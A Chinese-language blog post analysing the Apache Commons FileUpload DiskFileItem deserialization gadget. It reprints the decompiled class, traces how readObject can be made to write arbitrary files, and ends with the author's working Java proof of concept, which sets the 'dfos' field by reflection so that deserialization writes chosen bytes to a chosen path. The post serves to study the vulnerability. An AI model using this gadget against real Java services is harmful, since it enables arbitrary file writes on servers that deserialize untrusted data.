payload
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package org.apache.commons.fileupload.disk;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.io.UnsupportedEncodingException;
import java.util.Map;
import java.util.UUID;
import java.util.concurrent.atomic.AtomicInteger;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.FileItemHeaders;
import org.apache.commons.fileupload.FileUploadException;
import org.apache.commons.fileupload.ParameterParser;
import org.apache.commons.fileupload.util.Streams;
import org.apache.commons.io.IOUtils;
import org.apache.commons.io.output.DeferredFileOutputStream;
public class DiskFileItem implements FileItem {
private static final long serialVersionUID = 2237570099615271025L;
public static final String DEFAULT_CHARSET = "ISO-8859-1";
private static final String UID = UUID.randomUUID().toString().replace('-', '_');
private static final AtomicInteger COUNTER = new AtomicInteger(0);
private String fieldName;
private String contentType;
private boolean isFormField;
private String fileName;
private long size = -1L;
private int sizeThreshold;
private File repository;
private byte[] cachedContent;
private transient DeferredFileOutputStream dfos;
private transient File tempFile;
private File dfosFile;
private FileItemHeaders headers;
public DiskFileItem(String fieldName, String contentType, boolean isFormField, String fileName, int sizeThreshold, File repository) {
this.fieldName = fieldName;
this.contentType = contentType;
this.isFormField = isFormField;
this.fileName = fileName;
this.sizeThreshold = sizeThreshold;
this.repository = repository;
}
public InputStream getInputStream() throws IOException {
if (!this.isInMemory()) {
return new FileInputStream(this.dfos.getFile());
} else {
if (this.cachedContent == null) {
this.cachedContent = this.dfos.getData();
}
return new ByteArrayInputStream(this.cachedContent);
}
}
public String getContentType() {
return this.contentType;
}
public String getCharSet() {
ParameterParser parser = new ParameterParser();
parser.setLowerCaseNames(true);
Map<String, String> params = parser.parse(this.getContentType(), ';');
return (String)params.get("charset");
}
public String getName() {
return Streams.checkFileName(this.fileName);
}
public boolean isInMemory() {
return this.cachedContent != null ? true : this.dfos.isInMemory();
}
public long getSize() {
if (this.size >= 0L) {
return this.size;
} else if (this.cachedContent != null) {
return (long)this.cachedContent.length;
} else {
return this.dfos.isInMemory() ? (long)this.dfos.getData().length : this.dfos.getFile().length();
}
}
public byte[] get() {
if (this.isInMemory()) {
if (this.cachedContent == null) {
this.cachedContent = this.dfos.getData();
}
return this.cachedContent;
} else {
byte[] fileData = new byte[(int)this.getSize()];
InputStream fis = null;
try {
fis = new BufferedInputStream(new FileInputStream(this.dfos.getFile()));
((InputStream)fis).read(fileData);
} catch (IOException var12) {
fileData = null;
} finally {
if (fis != null) {
try {
((InputStream)fis).close();
} catch (IOException var11) {
}
}
}
return fileData;
}
}
public String getString(String charset) throws UnsupportedEncodingException {
return new String(this.get(), charset);
}
public String getString() {
byte[] rawdata = this.get();
String charset = this.getCharSet();
if (charset == null) {
charset = "ISO-8859-1";
}
try {
return new String(rawdata, charset);
} catch (UnsupportedEncodingException var4) {
return new String(rawdata);
}
}
public void write(File file) throws Exception {
if (this.isInMemory()) {
FileOutputStream fout = null;
try {
fout = new FileOutputStream(file);
fout.write(this.get());
} finally {
if (fout != null) {
fout.close();
}
}
} else {
File outputFile = this.getStoreLocation();
if (outputFile == null) {
throw new FileUploadException("Cannot write uploaded file to disk!");
}
this.size = outputFile.length();
if (!outputFile.renameTo(file)) {
BufferedInputStream in = null;
BufferedOutputStream out = null;
try {
in = new BufferedInputStream(new FileInputStream(outputFile));
out = new BufferedOutputStream(new FileOutputStream(file));
IOUtils.copy(in, out);
} finally {
if (in != null) {
try {
in.close();
} catch (IOException var19) {
}
}
if (out != null) {
try {
out.close();
} catch (IOException var18) {
}
}
}
}
}
}
public void delete() {
this.cachedContent = null;
File outputFile = this.getStoreLocation();
if (outputFile != null && outputFile.exists()) {
outputFile.delete();
}
}
public String getFieldName() {
return this.fieldName;
}
public void setFieldName(String fieldName) {
this.fieldName = fieldName;
}
public boolean isFormField() {
return this.isFormField;
}
public void setFormField(boolean state) {
this.isFormField = state;
}
public OutputStream getOutputStream() throws IOException {
if (this.dfos == null) {
File outputFile = this.getTempFile();
this.dfos = new DeferredFileOutputStream(this.sizeThreshold, outputFile);
}
return this.dfos;
}
public File getStoreLocation() {
return this.dfos == null ? null : this.dfos.getFile();
}
protected void finalize() {
File outputFile = this.dfos.getFile();
if (outputFile != null && outputFile.exists()) {
outputFile.delete();
}
}
protected File getTempFile() {
if (this.tempFile == null) {
File tempDir = this.repository;
if (tempDir == null) {
tempDir = new File(System.getProperty("java.io.tmpdir"));
}
String tempFileName = String.format("upload_%s_%s.tmp", UID, getUniqueId());
this.tempFile = new File(tempDir, tempFileName);
}
return this.tempFile;
}
private static String getUniqueId() {
int limit = 100000000;
int current = COUNTER.getAndIncrement();
String id = Integer.toString(current);
if (current < 100000000) {
id = ("00000000" + id).substring(id.length());
}
return id;
}
public String toString() {
return String.format("name=%s, StoreLocation=%s, size=%s bytes, isFormField=%s, FieldName=%s", this.getName(), this.getStoreLocation(), this.getSize(), this.isFormField(), this.getFieldName());
}
private void writeObject(ObjectOutputStream out) throws IOException {
if (this.dfos.isInMemory()) {
this.cachedContent = this.get();
} else {
this.cachedContent = null;
this.dfosFile = this.dfos.getFile();
}
out.defaultWriteObject();
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
OutputStream output = this.getOutputStream();
if (this.cachedContent != null) {
output.write(this.cachedContent);
} else {
FileInputStream input = new FileInputStream(this.dfosFile);
IOUtils.copy(input, output);
this.dfosFile.delete();
this.dfosFile = null;
}
output.close();
this.cachedContent = null;
}
public FileItemHeaders getHeaders() {
return this.headers;
}
public void setHeaders(FileItemHeaders pHeaders) {
this.headers = pHeaders;
}
}
分析
getObject
函数中,将文件影响分为了几类:
command = "write;C:\\Users\\Cheng\\Desktop\\Files;232323";
// 按照不同方式,分类
if (parts.length == 3 && "copyAndDelete".equals(parts[0])) {
return copyAndDelete(parts[1], parts[2]);
} else if (parts.length == 3 && "write".equals(parts[0])) {
return write(parts[1], parts[2].getBytes("US-ASCII"));
} else if (parts.length == 3 && "writeB64".equals(parts[0])) {
return write(parts[1], Base64.decodeBase64(parts[2]));
} else if (parts.length == 3 && "writeOld".equals(parts[0])) {
return writePre131(parts[1], parts[2].getBytes("US-ASCII"));
} else if (parts.length == 3 && "writeOldB64".equals(parts[0])) {
return writePre131(parts[1], Base64.decodeBase64(parts[2]));
下面逐一分析:
write分析
总体分析
从readobject开始分析,发现核心写入文件的是在output.write(this.cachedContent); ,
意味着this.cachedContent
是需要关注的核心。
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
OutputStream output = this.getOutputStream();
if (this.cachedContent != null) {
output.write(this.cachedContent);
} else {
FileInputStream input = new FileInputStream(this.dfosFile);
IOUtils.copy(input, output);
this.dfosFile.delete();
this.dfosFile = null;
}
output.close();
this.cachedContent = null;
}
在writeobject方法中,存在对this.cachedContent
的赋值:this.cachedContent = this.get();
private void writeObject(ObjectOutputStream out) throws IOException {
if (this.dfos.isInMemory()) {
this.cachedContent = this.get();
} else {
this.cachedContent = null;
this.dfosFile = this.dfos.getFile();
}
out.defaultWriteObject();
}
接下来分析get
public byte[] get() {
if (this.isInMemory()) {
if (this.cachedContent == null) {
this.cachedContent = this.dfos.getData();
}
return this.cachedContent;
} else {
byte[] fileData = new byte[(int)this.getSize()];
InputStream fis = null;
try {
fis = new BufferedInputStream(new FileInputStream(this.dfos.getFile()));
((InputStream)fis).read(fileData);
} catch (IOException var12) {
fileData = null;
} finally {
if (fis != null) {
try {
((InputStream)fis).close();
} catch (IOException var11) {
}
}
}
return fileData;
}
}
debug后,发现是在this.cachedContent = this.dfos.getData();
当中进行了赋值。
那么如果能够控制dfos,就可以实现文件内容的控制。
于是payload当中的这段代码便可以解释了。
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
这一段也是可以解释的(此处为了方便理解,我换了一种方式):
File outputFile = new File(filePath);
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
dfos.write(data);
/* OutputStream os = (OutputStream)Reflections.getFieldValue(dfos, "memoryOutputStream");
os.write(data);*/
刚刚说要控制get当中的dfos,那么通过反射来控制是最简单的方式了:
File repository = new File(repoPath);
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
细节A
makePayload(data.length + 1, dir, dir + "/whatever", data);
时为什么要传出这几个参数,他们的用处是上面?
data.length + 1
对应DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
当中的thresh,为文件单次写入的阈值。
-
当写入的数据量小于或等于 threshold 时,数据会被存储在内存中。
-
当写入的数据量超过 threshold 时,DeferredFileOutputStream 会自动切换到磁盘存储。
于是为了写入到存储当中,必须要data.length+1
repoPath
File repository = new File(repoPath);
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
首先来说DiskFileItem:DiskFileItem
的主要功能是封装上传的文件或表单字段数据,并根据配置动态决定将数据存储在内存中还是磁盘上。当文件大小小于指定的阈值时,数据会存储在内存中;当文件大小超过阈值时,数据会被写入磁盘上的临时文件。
-
fieldName:表单字段的名称。
-
contentType:上传文件的 MIME 类型。
-
isFormField:是否为普通表单字段(非文件字段)。
-
fileName:上传文件的原始文件名。
-
sizeThreshold:内存存储的大小阈值(单位为字节)。当文件大小超过此值时,数据将存储到磁盘。
-
repository:当文件存储到磁盘时,临时文件存放的目录
实际上repoPath是临时文件存放的目录
filePath
File outputFile = new File(filePath);
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
dfos.write(data);
outputFile
是一个File
对象,表示当数据量超过threshold
时,数据将被写入的目标文件路径。这个参数的作用是明确指定数据在磁盘上的存储位置,也就是上文当中实际的写入路径。
细节B
为什么没有写入到/whatever下?
makepayload的时候修改阈值为较小的数即可。
但是如果数字较小,那么在正向序列化构造payload的时候,就会生成一个whatever文件。
细节C
为什么Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);会有这一步?
一路向上找,可以到getOutputStream->readObject下。
如果没有这段代码,执行payload后无事发生,结合刚刚的问题,应该是没有写入到存储当中,是写入到了内存当中。
打点,开始debug!
最后在
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 1111, repository);
此处将sizeThreshold设置为1111,为了防止序列化对象的时候创建文件,所以将值设置了很大,但是在后面为dfos赋值的时候,如果将值设置的过大,会导致无法将内容写入到磁盘当中。
public OutputStream getOutputStream() throws IOException {
if (this.dfos == null) {
File outputFile = this.getTempFile();
this.dfos = new DeferredFileOutputStream(this.sizeThreshold, outputFile);
}
总结
1、org.apache.commons.fileupload.disk.DiskFileItem#readObject
下的
OutputStream output = this.getOutputStream();
output.write(this.cachedContent);
可以对任意位置的任意文件进行写入,于是便想控制this.getOutputStream()
与this.cachedContent
。
2、 前者在org.apache.commons.fileupload.disk.DiskFileItem#getOutputStream
public OutputStream getOutputStream() throws IOException {
if (this.dfos == null) {
File outputFile = this.getTempFile();
this.dfos = new DeferredFileOutputStream(this.sizeThreshold, outputFile);
}
return this.dfos;
}
此处只能控制this.sizeThreshold
,当前来说,控制此变量的意义不大,暂时先搁置。
3、后者在org.apache.commons.fileupload.disk.DiskFileItem#writeObject
时,通过get来赋值:
private void writeObject(ObjectOutputStream out) throws IOException {
if (this.dfos.isInMemory()) {
this.cachedContent = this.get();
} else {
this.cachedContent = null;
this.dfosFile = this.dfos.getFile();
}
out.defaultWriteObject();
}
4、在get当中,又通过this.dfos.getData()
来进行赋值,于是对dfos进行控制。
public byte[] get() {
if (this.isInMemory()) {
if (this.cachedContent == null) {
this.cachedContent = this.dfos.getData();
}
return this.cachedContent;
5、这是初步构造的payload:
public class Fileupload2 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
// DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, (File)null);
DiskFileItem dfi = new DiskFileItem("test","application/octet-stream",false,"1111",0,new File("C:\\Users\\Cheng\\Desktop\\Files"));
Class<? extends DiskFileItem> aClass = dfi.getClass();
Field dfos = aClass.getDeclaredField("dfos");
dfos.setAccessible(true);
// 构造dfos
DeferredFileOutputStream dfos_ = new DeferredFileOutputStream(0, new File("C:\\Users\\Cheng\\Desktop\\Files\\1111"));
dfos_.write("hackit!".getBytes());
dfos.set(dfi,dfos_);
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get(".\\1111")));
oos.writeObject(dfi);
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(".\\1111")));
Object o = ois.readObject();
}
}
但是在debug后,在readobject之前已经完成了对文件的写入,于是将dfos_的参数修改为比较大的值,也就避免了提前进行文件写入。
为什么考虑到修改DeferredFileOutputStream
不是DiskFileItem
的?
DiskFileItem没有调用write等类似的方法,肯定没有提前写入文件!
6、这是我的payload:
package com.kiwi.fileupload;
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Fileupload2 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
// DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, (File)null);
DiskFileItem dfi = new DiskFileItem("test","application/octet-stream",false,"1111",0,new File("C:\\Users\\Cheng\\Desktop\\Files"));
Class<? extends DiskFileItem> aClass = dfi.getClass();
Field dfos = aClass.getDeclaredField("dfos");
dfos.setAccessible(true);
// 构造dfos
DeferredFileOutputStream dfos_ = new DeferredFileOutputStream(10000, new File("C:\\Users\\Cheng\\Desktop\\Files\\1111"));
dfos_.write("hackit!".getBytes());
dfos.set(dfi,dfos_);
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get(".\\1111")));
oos.writeObject(dfi);
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(".\\1111")));
Object o = ois.readObject();
}
}
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)